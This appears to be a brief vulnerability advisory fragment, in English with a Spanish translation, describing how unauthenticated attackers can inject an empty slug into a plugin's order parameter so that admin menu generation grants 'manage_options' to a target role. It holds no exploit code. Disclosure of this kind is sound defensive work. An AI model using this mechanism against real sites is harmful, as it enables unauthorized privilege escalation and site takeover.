This makes it possible for unauthenticated attackers to injecting an empty slug into the order parameter, and manipulate the plugin's menu generation logic, and when the admin menu is subsequently built, the plugin adds 'manage_options' capability for the target role.

Esto hace posible que atacantes no autenticados inyecten un slug vacío en el parámetro de orden, y manipulen la lógica de generación de menú del plugin, y cuando el menú de administración se construye posteriormente, el plugin añade la capacidad 'manage_options' para el rol objetivo.
